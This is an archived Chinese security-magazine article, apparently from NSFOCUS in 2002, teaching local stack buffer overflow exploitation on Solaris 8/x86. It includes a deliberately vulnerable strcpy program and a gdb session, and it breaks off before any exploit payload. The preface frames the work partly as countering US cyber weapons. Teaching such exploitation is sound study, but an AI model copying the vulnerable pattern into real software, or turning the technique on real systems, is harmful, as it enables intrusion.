From: <ÓÉ Microsoft Internet Explorer 5 ±£´æ> Subject: =?gb2312?B?wszDy7/GvLwtLXd3dy5uc2ZvY3VzLmNvbS0twszDy9TCv68=?= Date: Wed, 1 Oct 2003 01:03:45 +0800 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_00D0_01C387B7.DD02A990"; type="text/html" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 This is a multi-part message in MIME format. ------=_NextPart_000_00D0_01C387B7.DD02A990 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable Content-Location: http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1610 =C2=CC=C3=CB=BF=C6=BC=BC--www.nsfocus.com--=C2=CC=C3=CB= =D4=C2=BF=AF
3DTitle=20
3DLeft 3DRight
 
=C2=CC=C3=CB=B0=B2=C8=AB=D4=C2=BF=AF->=B5=DA36=C6=DA->=BC=BC=CA=F5=D7=A8=CC=E2
=C6=DA=BF=AF=BA=C5=A3=BA =C0=E0=D0=CD=A3=BA=20 = =B9=D8=BC=FC=B4=CA=A3=BA =20 =20
=B5=DA=D2=BB=D5=C2 =B1=BE=B5=D8 = EXPLOIT SOLARIS 8/INTEL X86=20 = =B6=D1=D5=BB=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6

=D7=F7=D5=DF=A3=BA=C4= =AA=B4=F3=20 = <master_moda@yahoo.com>
=C8=D5=C6=DA=A3=BA2002-11-01

thes= e papers=20 are dedicated to Jinyong, whose books is so addictive and I = spent=20 lots of time reading them again and again.=20 =

        =D0=F2=D1=D4
<= BR>=CE=D2=BF=B4=B5=BD=B5=C4=D3=EB=BC=C6=CB=E3=BB=FA=B0=B2=C8=AB=D3=D0=B9=D8= =B5=C4=CE=C4=D5=C2=C0=EF=A3=AC=BA=DA=BF=CD=D7=DC=CA=C7=D3=EB"=B5=D8=CF=C2= =BB=EE=B6=AF"(Underground)=D1=BD=A1=A2"=BA=DA=C3=B1=D7=D3"(Blackhat)=D1=BD= =B5=C8=B5=C8=B1=E1=D2=E5=B4=CA=C1=AA=CF=B5=D4=DA=D2=BB=C6=F0=A1=A3=C8=B7=CA= =B5=BA=DA=BF=CD=BB=EE=B6=AF=B8=F8=B9=E3=B4=F3IT=B4=D3=D2=B5=C8=CB=D4=B1=B4= =F8=C0=B4=C1=CB=D0=ED=D0=ED=B6=E0=B6=E0=B5=C4=C2=E9=B7=B3=D3=EB=CA=B1=BC=E4= =CB=F0=CA=A7=A3=AC=D6=C1=C9=D9=CE=D2=CA=C7=CA=DC=BA=A6=D5=DF=A1=A3=C8=A5=C4= =EA=C4=D6Codered=BA=CDNimda=B2=A1=B6=BE(=CA=B5=BC=CA=C9=CF=D3=A6=B8=C3=BD= =D0=B2=A1=B3=E6=A3=AC=D2=F2=CE=AA=CB=FC=C3=C7=CF=F3=B3=E6=D2=BB=D1=F9=D4=DA= =B8=F7=B8=F6=BB=FA=C6=F7=C9=CF=D7=D4=CE=D2=B7=B1=D6=B3=B4=AB=B2=A5)=B5=C4= =CA=B1=BA=F2=A3=AC=CE=D2=B2=BB=B5=C3=B2=BB=B0=BE=BC=B8=B8=F6=D2=B9=C3=A6=D7= =C5=C9=B1=B3=E6=A1=A3=B5=B1=CA=B1=CA=C7=D2=BB=B1=DF=C9=B1=B3=E6=D2=BB=B1=DF= =C2=EE=C4=EF=A3=AC=BA=DE=B2=BB=B5=C3=B0=D1=B6=E3=D4=DA=B0=B5=B4=A6=B5=C4=B2= =A1=B6=BE=D6=C6=D4=EC=D5=DF=B4=F2=B5=B9=D4=DA=B5=D8=A3=AC=D4=D9=CC=A4=C9=CF= N=BD=C5=A1=A3

=B5=AB=CA=C7=A3=AC=C2=EE=B9=E9=C2=EE=A3=AC=D1=D0=BE=BF= =BB=B9=CA=C7=D2=AA=D1=D0=BE=BF=B5=C4=A1=A3=CE=D2=CF=EB=C6=C6=C1=CB=C4=D4=B4= =FC=A3=AC=CF=EB=B3=F6=C1=CB=C8=FD=B5=E3=D1=D0=BE=BF=BA=DA=BF=CD=B5=C4=C0=ED= =D3=C9=A3=BA

=B5=DA=D2=BB=A3=BA=20 =
=B4=D3=B4=F3=B5=C4=B7=BD=C3=E6=C0=B4=BD=B2=A3=AC=B5=DB=B9=FA=D6=F7=D2= =E5=CD=F6=CE=D2=D6=AE=D0=C4=B2=BB=CB=C0=A3=AC=CE=D2=C3=C7=D2=B2=B2=BB=C4=DC= =D0=AA=D7=C5----=CD=F6=B5=DB=B9=FA=D6=F7=D2=E5=D6=AE=D0=C4=D2=B2=D2=AA=CD= =F2=CB=EA=A3=A1=A3=A1=C1=BD=C4=EA=C7=B0=D2=BB=B8=F6=C5=F3=D3=D1=B5=C4=C5=F3= =D3=D1=B5=C4=C5=F3=D3=D1=D5=D2=B9=A4=D7=F7(=D4=DA=C3=C0=B9=FA)=A3=AC=D3=F6= =B5=BD=D2=BB=B8=F6=B9=AB=CB=BE=B5=C4=C3=E6=CA=D4=A1=A3=D5=E2=B8=F6=B9=AB=CB= =BE=BA=C3=CF=F3=CA=C7=CE=AA=C3=C0=B9=FA=D5=FE=B8=AE=D7=F7=CA=C2=B5=C4(Con= tractor=D6=AE=C0=E0)=A3=AC=C3=E6=CA=D4=B5=B1=D6=D0=CC=E1=B5=BD=CB=FB=C3=C7= =D4=DA=D7=F7IP=20 Bomber (IP =D5=A8=B5=AF )=A3=AC = =B4=F3=B8=C5=BE=CD=CA=C7=D3=C3=CC=D8=CA=E2=B5=C4=C9=E8=B1=B8=B2=FA=C9=FA=B4= =F3=C1=BF=B5=C4IP = =B0=FC=B9=FC=C8=A5=CC=B1=BB=BE=B5=D0=B7=BD=CD=F8=C2=E7=BA=CD=CF=B5=CD=B3=A1= =A3=B9=C0=BC=C6=B2=BB=BB=E1=CA=C7=BC=F2=B5=A5=B5=C4=20 = Ping=B0=FC=B9=FC=A1=A3=D6=BB=B2=BB=B9=FD=D5=E2=B8=F6=B9=A4=D7=F7=D0=E8=D2= =AA=D7=E3=B9=BB=B8=DF=B5=C4Security Clearance=20 = (=C3=DC=BC=B6)=A3=AC=D6=C1=C9=D9=C3=C0=B9=FA=B9=AB=C3=F1=A3=AC=CB=F9=D2=D4= =CE=D2=B5=C4=D5=E2=CE=BB=D7=AA=D5=DB=C5=F3=D3=D1=C3=BB=C4=DC=C8=A5=A1=A3<= BR>    
=C3=C0=B9=FA=D5=FE=B8=AE=B4=F3=B0=D1=B4=F3= =B0=D1=B5=D8=BB=A8=C4=C9=CB=B0=C8=CB=B5=C4=C6=B1=D7=D3=B0=D1=D5=E2=B8=F6=B6= =AB=CE=F7=B5=B1=BD=F8=B9=A5=CE=E4=C6=F7=C0=B4=D1=D0=BE=BF=A3=AC=D6=C1=C9=D9= =D3=D0=D2=BB=B2=BF=B7=D6=D5=EB=B6=D4=CE=D2=C3=C7=B5=C4=A3=AC=BE=CD=CF=F3=CB= =FB=C3=C7=D3=D0=D2=BB=B2=BF=B7=D6=BA=CB=CE=E4=C6=F7=B6=D4=D7=C5=CE=D2=C3=C7= =D2=BB=D1=F9=A1=A3=C0=B4=B6=F8=B2=BB=CD=F9=B7=C7=C0=F1=D2=B2=A3=A1=CE=D2=C3= =C7=B5=B1=C8=BB=D2=B2=D2=AA=D1=D0=BE=BF=D5=E2=B8=F6=B3=AC=CF=DE=D5=BD=B5=C4= =C0=FB=C6=F7=C0=B4=BF=B9=BA=E2=CB=FB=C3=C7=A3=AC=C8=C3=CB=FB=C3=C7=B2=BB=B8= =D2=C7=E1=BE=D9=CD=FD=B6=AF=A1=A3

=B5=DA=B6=FE=A3=BA=20 =
=C8=E7=B9=FB=C4=E3=B6=D4=C3=F0=B5=DB=B9=FA=D6=F7=D2=E5=B2=BB=B8=D0=D0= =CB=C8=A4=A3=AC=BB=F2=C8=C8=D6=D4=D3=DA=D7=B7=C7=F3NOBEL=BA=CD=C6=BD=BD=B1= =A3=AC=C4=C7=C3=B4=D2=B2=D2=AA=D7=A2=D2=E2=D7=D4=CE=D2=B1=A3=BB=A4=B2=C5=D0= =D0=A1=A3=D2=AA=B1=A3=BB=A4=BA=C3=B9=AB=CB=BE=BA=CD=B8=F6=C8=CB=B5=C4=CF=B5= =CD=B3=A3=AC=D0=E8=D2=AA=CE=D2=C3=C7=C9=EE=C8=EB=C1=CB=BD=E2=BA=DA=BF=CD=B5= =C4=D7=F7=B0=B8=CA=D6=B6=CE=A1=A3=C9=D9=C1=D6=CB=C2=B5=C4=BA=CD=C9=D0=CB=B5= =B5=C3=BA=C3=A3=BA=CF=B0=CE=E4=CA=C7=CE=AA=C1=CB=B7=C0=C9=ED=A3=AC=B2=BB=CA= =C7=CE=AA=C9=B1=C9=FA=A3=A1(=CB=E4=CB=B5=C1=D6=CB=C2=B0=CB=CA=AE=D2=BB=B0= =E3=BE=F8=BC=BC=D3=D0=CA=B7=D2=D4=C0=B4=BF=CF=B6=A8=C9=B1=C1=CB=B2=BB=C9=D9= =C8=CB=A3=AC=B5=AB=C4=C7=D2=B2=BD=D0=D5=FD=B5=B1=B7=C0=CE=C0)=A1=A3
=B5=DA=C8=FD=A3=BA
=BC=B4=CA=B9=C4=E3=B6=D4=BA=DA=D3=EB=B1=BB=BA=DA=B6= =BC=C3=BB=D3=D0=D0=CB=C8=A4=A3=AC=B5=AB=CA=C7=D7=F7=CE=AA=D2=BB=C3=FBIT=B4= =D3=D2=B5=C8=CB=D4=B1=A3=AC=C4=E3=D2=B2=D0=ED=BB=E1=B6=D4=BC=C6=CB=E3=BB=FA= =CF=B5=CD=B3=B1=E0=B3=CC=A1=A2=C8=E7=BA=CEDebug=B3=CC=D0=F2=B8=D0=D0=CB=C8= =A4=A1=A3=B6=F8=BA=DA=BF=CD=B1=E0=B3=CC=B9=FD=B3=CC=D4=F2=BB=E1=C9=E6=BC=B0= =B5=BD=BA=DC=B6=E0=B5=C4=CF=B5=CD=B3=B1=E0=B3=CC=D3=EBDebug=A3=AC=B6=F8=C7= =D2=BA=DA=BF=CD=C3=C7=D3=D0=BA=DC=B6=E0=CF=D6=B3=C9=B5=C4=B1=E0=B3=CC=C0=FD= =D7=D3=BF=C9=B9=A9=C4=FA=B2=CE=BF=BC=BD=E8=BC=F8=A1=A3

=CA=B5=BC=CA= =C9=CF=CE=D2=BE=CD=D2=F2=CE=AA=D5=E2=B5=DA=C8=FD=B5=E3=B2=C5=BF=AA=CA=BC=B6= =D4=BA=DA=BF=CD=B1=E0=B3=CC=BD=F8=D0=D0=D1=D0=BE=BF=B5=C4=A1=A3=BF=B4=C1=CB= =B2=BB=C9=D9=B5=C4=CE=C4=D5=C2=A3=AC=D7=D4=BC=BA=D2=B2=B3=A2=CA=D4=D7=C5=D7= =F7=C1=CB=B2=BB=C9=D9=B5=C4=C0=FD=D7=D3(Case)=A3=AC=D3=D0=C4=C7=C3=B4=D2=BB= =B5=E3=B5=E3=D0=C4=B5=C3=A1=A3=CF=D6=D4=DA=BE=CD=B4=D3=CE=D2=D7=F7=B5=C4=C0= =FD=D7=D3=D6=D0=CC=F4=D2=BB=D0=A9=D3=D0=B4=FA=B1=ED=D0=D4=B5=C4=B3=F6=C0=B4= =A3=AC=D5=E2=D0=A9=C0=FD=D7=D3=B6=BC=CA=C7=B4=BF=D1=A7=CA=F5=D0=D4=B5=C4=A3= =AC=B2=BB=D5=EB=B6=D4=C8=CE=BA=CE=CA=B5=BC=CA=D4=CB=D0=D0=B5=C4=B3=CC=D0=F2= =A3=AC=BD=F6=BD=F6=CA=C7=CE=AA=C1=CB=C8=C3=C5=F3=D3=D1=C3=C7=B8=FC=C9=EE=C8= =EB=B5=D8=C1=CB=BD=E2=D2=BB=CF=C2=D5=E2=B7=BD=C3=E6=B5=C4=D6=AA=CA=B6=A3=AC= =CC=D7=BE=E4=C3=C0=B9=FA=C8=CB=B5=C4=BB=B0=CB=B5=D5=E2=BD=D0=D7=F6"Ethic = = Hacking"=A3=AC=CF=A3=CD=FB=C4=DC=B9=BB=CC=E1=B8=DF=B4=F3=BC=D2=B6=D4=BC=C6= =CB=E3=BB=FA=B0=B2=C8=AB=B5=C4=D0=CB=C8=A4=A1=A3

=C4=AA=B4=F3
<= BR>
=B5=DA=D2=BB=D5=C2=A3=BA=B1=BE=B5=D8 EXPLOIT=20 SOLARIS 8/INTEL X86 = =B6=D1=D5=BB=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6

=D2=FD=D7=D3=A3=BA
<= BR>=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6(Buffer=20 = Overflow)=B4=F3=B8=C5=CA=C7=D7=EE=B3=A3=BC=FB=B5=C4=C2=A9=B6=B4=C1=CB=A3=AC= =D4=DAN=C4=EA=C7=B0(N=3D1)=A3=AC=CE=D2=BF=B4=B9=FD=D2=BB=C6=AA=CE=C4=D5=C2= =B1=C8=BD=CF=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=C2=A9=B6=B4=D3=EB=B8=F1=CA=BD=BB= =AF=D7=D6=B7=FB=B4=AE=C2=A9=B6=B4(Format=20 = String)=A3=AC=CE=C4=D5=C2=CC=E1=B5=BD=D2=D1=D3=D0=C9=CF=C7=A7=C0=FD=BB=BA= =B3=E5=C7=F8=D2=E7=B3=F6=B1=BB=BA=DA=BF=CD=C3=C7=B3=C9=B9=A6=B5=D8Exploit= =A3=AC=B6=F8=B8=F1=CA=BD=BB=AF=D7=D6=B7=FB=B4=AE=C2=A9=B6=B4=B1=BBExploit= =BD=F6=D3=D0=BC=B8=CA=AE=C0=FD=A1=A3=CE=D2=BB=E1=D4=DA=CF=C2=C3=E6=B5=DA=C6= =DF=D5=C2=BD=E9=C9=DCExploit=B8=F1=CA=BD=BB=AF=D7=D6=B7=FB=B4=AE=C2=A9=B6= =B4=B5=C4=C0=FD=D7=D3=A3=AC=D5=E2=D2=BB=D5=C2=BE=CD=B4=D3=C8=DD=D2=D7=B5=C4= =BF=AA=CA=BC=A3=AC=BD=B2=CE=D2=C3=C7=C8=E7=BA=CE=D4=DA=B1=BE=B5=D8(Local)= =20 Exploit Solaris/Intel = X86=C9=CF=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=A1=A3

Intel=20 = X86=B4=A6=C0=ED=C6=F7(Processor)=CA=C7=B5=E4=D0=CD=B5=C4CISC(Complex = Instruction Set=20 = Computer)=B4=A6=C0=ED=C6=F7=A3=AC=D5=E2=CA=C7=D3=EBRISC(Reduced = Instruction Set=20 = Computer)=D0=CD=B4=A6=C0=ED=C6=F7=CF=E0=B1=C8=BD=CF=A1=A3=B9=CB=C3=FB=CB=BC= =D2=E5=A3=ACCISC=D3=D0=C5=D3=B4=F3=B5=C4=A1=A2=B0=FC=C2=DE=CD=F2=CF=F3=B5= =C4=BB=FA=C6=F7=D6=B8=C1=EE=C8=BA(Instruction=20 = Set)=A1=A2=B8=F7=D6=D6=B8=F7=D1=F9=B5=C4=D1=B0=D6=B7=B7=BD=B7=A8=A3=AC=CB= =F9=D2=D4=CB=FC=B5=C4=BB=FA=C6=F7=D6=B8=C1=EE=B3=A4=B6=CC=B2=BB=D2=BB=A1=A3= =C1=ED=D2=BB=B7=BD=C3=E6=A3=ACCISC=BD=F6=D3=D0=D3=D0=CF=DE=B5=C4=CD=A8=D3= =C3=BC=C4=B4=E6=C6=F7=A3=AC=B1=C8=C8=E7X86=B4=A6=C0=ED=C6=F7=A3=AC=C8=F4=B2= =BB=CB=E3=C9=CF=CB=FC=B5=C4=B8=A1=B5=E3=BC=C4=B4=E6=C6=F7=A3=AC=D6=BB=D3=D0= EAX=A1=A2EBX=A1=A2ECX=A1=A2EDDX=CB=C4=B8=F6=CD=A8=D3=C3=BC=C4=B4=E6=C6=F7= =BA=CD=D2=BB=D0=A9=D7=A8=D3=C3=B5=C4=B6=D1=D5=BB=BC=C4=B4=E6=C6=F7=A1=A2=D6= =B8=D5=EB=BC=C4=B4=E6=C6=F7=A1=A2=B6=CE=BC=C4=B4=E6=C6=F7=B5=C8=B5=C8=A1=A3=

=D3=EBCISC=B4=A6=C0=ED=C6=F7=CF=E0=B1=C8=BD=CF=A3=ACRISC=B4=A6=C0= =ED=C6=F7=B5=C4=BB=FA=C6=F7=D6=B8=C1=EE=C8=BA(Instruction=20 = Set)=D6=BB=B0=FC=C0=A8=D3=D0=CF=DE=B5=AB=CD=A8=D3=C3=B5=C4=D6=B8=C1=EE=A3= =AC=C6=E4=D1=B0=D6=B7=B7=BD=B7=A8=D2=B2=CF=E0=B6=D4=BD=CF=C9=D9=A3=AC=BB=FA= =C6=F7=D6=B8=C1=EE=B3=A4=B6=C8=B9=CC=B6=A8(32=CE=BB=BB=F2=B8=FC=B8=DF=BC=B6= =D2=BB=D0=A9=B5=C464=CE=BB)=A1=A3=B5=AB=CA=C7RISC=C8=B4=D3=B5=D3=D0=B4=F3= =C1=BF=B5=C4=CD=A8=D3=C3=BC=C4=B4=E6=C6=F7=A1=A3=D5=E2=D0=A9=BC=DC=B9=B9=C9= =CF=B5=C4=C7=F8=B1=F0=BE=F6=B6=A8=C1=CBCISC=BA=CDRISC=D3=D0=B2=BB=CD=AC=B5= =C4Exploit=B7=BD=B7=A8=A3=AC=CE=D2=C3=C7=BA=F3=C3=E6=D2=BB=D5=C2=BB=E1=BD= =E9=C9=DC=C8=E7=BA=CEExploit=20 = RISC=B4=A6=C0=ED=C6=F7=D6=D0=B5=C4=B4=FA=B1=ED=C8=CB=CE=EFSparc=A3=AC=BD=EC= =CA=B1=C4=E3=C3=C7=BF=C9=D2=D4=B1=C8=BD=CFExploit=C1=BD=D6=D6=B4=A6=C0=ED= =C6=F7=B5=C4=B2=BB=CD=AC=D6=AE=B4=A6=A1=A3=B9=D8=D3=DACISC=D3=EBRICS=CF=EA= =CF=B8=B5=C4=BD=E9=C9=DC=A3=AC=D3=D0=D0=CB=C8=A4=B5=C4=C7=EB=B5=BD=CD=F8=C9= =CF=B2=E9=B2=E9=A1=A3

=CE=D2=D2=AA=D3=C3=B5=BD=B5=C4=BB=FA=C6=F7=C5= =E4=D6=C3=A3=BAPENTIUM=20 III=A3=AC800MHZ=A3=AC =D4=CB=D0=D0Solaris 8/Intel=20 = X86=B0=E6=B1=BE=A1=A3=BB=FA=C6=F7=C3=FB=BD=D0Shanghai----=C9=CF=BA=A3=A3=AC= =C4=C7=CA=C7=CE=D2=C9=FA=BB=EE=D3=EB=D5=BD=B6=B7=C1=CB=C6=DF=C4=EA=B5=C4=B5= =D8=B7=BD=A1=A3=BE=CD=D4=DA=C4=C7=C6=DF=C4=EA=D6=D0=A3=AC=B8=C4=B8=EF=BF=AA= =B7=C5=B5=C4=B4=BA=B7=E7=B7=E7=CF=F2=CF=C8=B3=AF=D7=C5=C4=CF=B7=BD=BC=B8=B8= =F6=B3=C7=CA=D0=B4=B5=A3=AC=C8=BB=BA=F3=D6=D5=D3=DA=B4=B5=B5=BD=C1=CB=C9=CF= =BA=A3=A3=AC=D7=EE=C3=F7=CF=D4=B5=C4=BE=CD=CA=C7=D0=C0=D0=C0=CF=F2=C8=D9=B5= =C4=B7=BF=B5=D8=B2=FA=CA=D0=B3=A1=A1=A3=CE=D2=B5=B1=CA=B1=B6=A5=D7=C5=CC=AB= =D1=F4=D6=CB=C8=C8=B5=C4=B9=D8=D5=D5=A3=AC=B7=DC=D5=BD=D4=DA=D2=BB=B8=F6=D3= =D6=D2=BB=B8=F6=CE=BB=D3=DA=B5=D8=C6=BD=C3=E6=D2=D4=CF=C2=B5=C4=BB=F9=BF=D3= =C0=EF=A1=A3


Solaris/Intel=20 = X86=BB=BA=B3=E5=C7=F8=D4=DA=B6=D1=D5=BB=D6=D0=B5=C4=B7=D6=C5=E4=C7=E9=BF=F6= =A3=BA


=B3=B6=D4=B6=C1=CB=A3=AC=BB=B9=CA=C7=BB=D8=B5=BD=CE=D2=C3= =C7=B5=C4=D6=F7=CC=E2=C4=DA=C8=DD=A3=BA=C8=E7=BA=CELocal Exploit=20 Solaris/Intel=20 = X86=C9=CF=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=A1=A3=C7=EB=BF=B4=CF=C2=C3=E6=D5=E2= =B8=F6=B3=CC=D0=F2vul.c=A1=A3=D5=E2=B8=F6=D1=DD=CA=BE=B3=CC=D0=F2=B7=C7=B3= =A3=BC=F2=B5=A5=A3=AC=CB=FC=B0=D1=D3=C3=BB=A7=CA=E4=C8=EB=B5=C4=B2=CE=CA=FD= =D4=DA=BA=AF=CA=FDFoo=D6=D0=D3=C3printf=CA=E4=B3=F6=C0=B4=A1=A3=B5=AB=C7=EB= =B4=F3=BC=D2=D7=A2=D2=E2=A3=AC=D5=E2=B8=F6vul.c=CA=C7=D3=D0=B7=EC=B5=C4=B3= =F4=BC=A6=B5=B0=A3=AC=BD=E1=B9=FB=D2=FD=B5=C3=CC=EC=CF=C2=D3=A2=D0=DB=BE=A1= =C0=B4=B6=A3=A1=A3=D5=E2=CC=F5=B7=EC=BE=CD=CA=C7Foo=D6=D0=B5=C4=BA=AF=CA=FD= strcpy=A3=AC=CB=FC=B0=D1=CA=E4=C8=EB=D7=D6=B7=FB=B4=AEs=BF=BD=B1=B4=B5=BD= =BB=BA=B3=E5=C7=F8buf=D6=D0=A3=AC=BE=CD=CA=C7=D5=E2=B8=F6=BA=AF=CA=FD=BB=E1= =D4=EC=B3=C9=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=A3=A1=CE=AA=CA=B2=C3=B4=CB=FC=BB= =E1=D4=EC=B3=C9=C8=E7=B4=CB=D1=CF=D6=D8=B5=C4=BA=F3=B9=FB=C4=D8=A3=BF
=
<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3Dvul.c=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D>
#include=20 <stdio.h>
Foo(char* = s)
{
    char=20 buf[16]=3D"";
    strcpy(buf,=20 s);
    printf("The input String is = %s\n",=20 buf);
}
main(int argc, char*=20 argv[])
{
    if(argc =3D=3D=20 = 2)
    {
      &n= bsp; Foo(argv[1]);
    }
   = ; else
    {
     = ;   printf("Usage:=20 %s <A string>\n",=20 = argv[0]);
    }

}
<=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D>

=B2=BB=C8=EB=BB=A2=D1=A8=A3=AC=D1=C9=B5=C3=BB=A2=D7=D3= =A1=A3=D2=AA=D6=AA=B5=C0=CE=AA=CA=B2=C3=B4strcpy=BB=E1=B5=BC=D6=C2=BB=BA=B3= =E5=C7=F8=D2=E7=B3=F6=A3=AC=BB=B9=B5=C3=C9=EE=C8=EB=B5=BD=BB=F9=B2=E3(=C4= =DA=B4=E6)=D6=D0=C8=A5=A1=A3=B2=BB=B9=FD=C9=EE=C8=EB=BB=F9=B2=E3=D6=AE=C7= =B0=A3=AC=C7=EB=B4=F3=BC=D2=CF=C8=B5=BDGNU=B5=C4=CD=F8=D5=BE=C9=CF=C8=A5=CF= =C2=D4=D8=D2=BB=D0=A9GNU=B5=C4=B9=A4=BE=DF=A3=AC=CF=F3gcc=A1=A2gdb=B5=C8=B5= =C8=A3=AC=D2=F2=CE=AA=CE=D2=C3=C7=BA=F3=C3=E6=D2=AA=BE=AD=B3=A3=D3=C3=B5=BD= =CB=FC=C3=C7=C0=B4=D7=F7=B3=CC=D0=F2=B1=E0=D2=EB(=D0=E8=D2=AAgcc)=BC=B0De= bug(=D0=E8=D2=AAgdb)=A1=A3=B2=BB=CA=EC=CF=A4=D5=E2=D0=A9=B9=A4=BE=DF=B5=C4= =C5=F3=D3=D1=C7=EB=BE=A1=C1=BF=B7=A2=BB=D3=C4=E3=C3=C7=B5=C4=CE=F2=D0=D4=C0= =ED=BD=E2=A1=A3

=CF=C8=B0=D1=B3=CC=D0=F2vul.c=D2=D4Debug=C4=A3=CA=BD= =B1=E0=D2=EB=A3=BA

shanghai=20 =3D>gcc vul.c -o vul = -g

=D4=D9=D3=C3gdb=D4=CB=D0=D0=CB=FC=A3=BA

shanghai = =3D>gdb=20 vul
GNU gdb 5.2
Copyright 2002 Free Software = Foundation,=20 Inc.
GDB is free software, covered by the GNU General = Public=20 License, and you are welcome to change it and/or distribute = copies=20 of it under certain conditions. Type "show copying" to see = the=20 conditions.
There is absolutely no warranty for=20 GDB.  Type "show warranty" for details. This GDB = was=20 configured as=20 = "i386-pc-solaris2.8"...
/*
=D4=DA=B3=CC=D0=F2=C8=EB=BF=DA=B4=A6main= =C9=E8=D6=C3=D2=BB=B8=F6=B6=CF=B5=E3
*/
(gdb) b=20 main
Breakpoint 1 at 0x8050956: file vul.c, line=20 = 12.
/*
=CE=D2=D2=D4=D2=BB=B8=F6=D7=D6=B7=FB=B4=AE--10=B8=F6'A'=D7=F7= =CE=AA=B3=CC=D0=F2vul=B5=C4=CA=E4=C8=EB=B2=CE=CA=FD=A1=A3
*/
(gdb) = r=20 AAAAAAAAAA
Starting program: /export/home/moda/buf_of/vul = AAAAAAAAAA
Breakpoint 1,=20 = m12           &nbs= p;  if(argc=20 =3D=3D = 2)
/*
=B3=CC=D0=F2=D4=DAmain=B4=A6=D6=D0=B6=CF=A3=AC=CE=D2=C3=C7=BD= =D3=D7=C5=B5=A5=B2=BD=D6=B4=D0=D0(Single Step)=B5=BDFoo
*/
(gdb)=20 = s
14           =            Foo(arg= v[1]);
/*
=B3=CC=D0=F2=BC=B4=BD=AB=D2=AA=BD=F8=C8=EBFoo=A3=AC=CE=D2= =C3=C7=BF=B4=BF=B4=BD=AB=D2=AA=D6=B4=D0=D0=B5=C4=BB=E3=B1=E0=D6=B8=C1=EE=A1= =A3
*/
(gdb)=20 x/10i $eip
0x805095c=20 = <main+12>:    add    $0xfff= ffff4,%esp
0x805095f=20 = <main+15>:    mov    0xc(%e= bp),%eax
0x8050962=20 = <main+18>:    add    $0x4,%= eax
0x8050967=20 = <main+23>:    mov    (%eax)= ,%edx
0x8050969=20 <main+25>:    push  =20 %edx
0x805096a=20 <main+26>:    call   = 0x8050904=20 <Foo>
0x805096f=20 = <main+31>:    add    $0x10,= %esp
0x8050972=20 = <main+34>:    jmp    0x8050= 98a=20 <main+58>
0x8050974=20 = <main+36>:    add    $0xfff= ffff8,%esp
0x8050977=20 = <main+39>:    mov    0xc(%e= bp),%eax
/*
=BA=AF=CA=FDFoo=D4=DA=B5=D8=D6=B70x805096a=B4=A6=B1=BBm= ain=B5=F7=D3=C3=A3=BA"call=20 0x8050904=20 = <Foo>"=A1=A3=B6=F80x805096f=CE=AAFoo=B5=F7=D3=C3=BA=F3=B5=C4=B7=B5=BB= =D8=B5=D8=D6=B7=A3=AC=B4=F3=BC=D2=BC=C7=D7=A1=D5=E2=B8=F6=B5=D8=D6=B7=A3=AC= =D2=F2=CE=AA=CF=C2=C3=E6=D2=AA=CC=E1=B5=BD=CB=FC=A1=A3

=BD=D3=D7=C5= =CE=D2=C3=C7=D3=C3si(Single=20 = Instruction)=D2=BB=B8=F6=D6=B8=C1=EE=D2=BB=B8=F6=D6=B8=C1=EE=B5=D8=D6=B4=D0= =D0--------=D4=DA=C7=E9=BF=F6=B2=BB=C3=F7=B5=C4=CA=B1=BA=F2=A3=AC=C3=FE=D7= =C5=CA=AF=D7=D3=D2=BB=B2=BD=D2=BB=B2=BD=B9=FD=BA=D3=D7=DC=CA=C7=B6=D4=B5=C4= =A3=BA
*/
(gdb)=20 = si
0x0805095f      14   &= nbsp;           &n= bsp;      Foo(argv[1]);
(gdb)=20 = si
0x08050962      14   &= nbsp;           &n= bsp;      Foo(argv[1]);
(gdb)=20 = si
0x08050967      14   &= nbsp;           &n= bsp;      Foo(argv[1]);
(gdb)=20 = si
0x08050969      14   &= nbsp;           &n= bsp;      Foo(argv[1]);
(gdb)=20 = si
0x0805096a      14   &= nbsp;           &n= bsp;      Foo(argv[1]);
/*
=D4=DA=D5=E2= =C0=EF=B3=CC=D0=F2=BC=B4=BD=AB=D2=AA=BD=F8=C8=EBFoo=A3=AC=CE=D2=C3=C7=BF=B4= =BF=B4=BC=C4=B4=E6=C6=F7=B5=B1=C7=B0=B5=C4=C4=DA=C8=DD=A3=BA
*/
(gd= b)=20 i=20 = reg
eax          &nb= sp; 0x8047bf8        1345116= 08
ecx          &nbs= p; 0x0      0
edx   =          0x8047d0d &nbs= p;      134511885
ebx   &= nbsp;        0xdfbfb000 &nbs= p;    =20 = -541085696
esp         &n= bsp;  0x8047bb4        = 0x8047bb4
ebp         &nb= sp;  0x8047bcc        0= x8047bcc
esi         &nbs= p;  0x8047bb0        13= 4511536
edi          = ;  0x8047c74        134= 511732
eip          =   0x805096a        0x80= 5096a
eflags        =20 = 0x202    514
cs      = ;      =20 0x17    =20 = 23
ss           = ; =20 0x1f    =20 = 31
ds           = ; =20 0x1f    =20 = 31
es           = ; =20 0x1f    =20 = 31
fs           = ; =20 = 0x0      0
gs    &nb= sp;       =20 = 0x0      0
fctrl    =       0x137f  =20 = 4991
fstat          = 0x0      0
ftag    &= nbsp;     =20 0xffff  =20 = 65535
fiseg          = ;0x0      0
fioff    = ;      0x0     &nb= sp;0
foseg          = 0x0      0
fooff    =       0x0     &nbs= p;0
---Type=20 <return> to continue, or q <return> to=20 = quit---q
Quit
/*
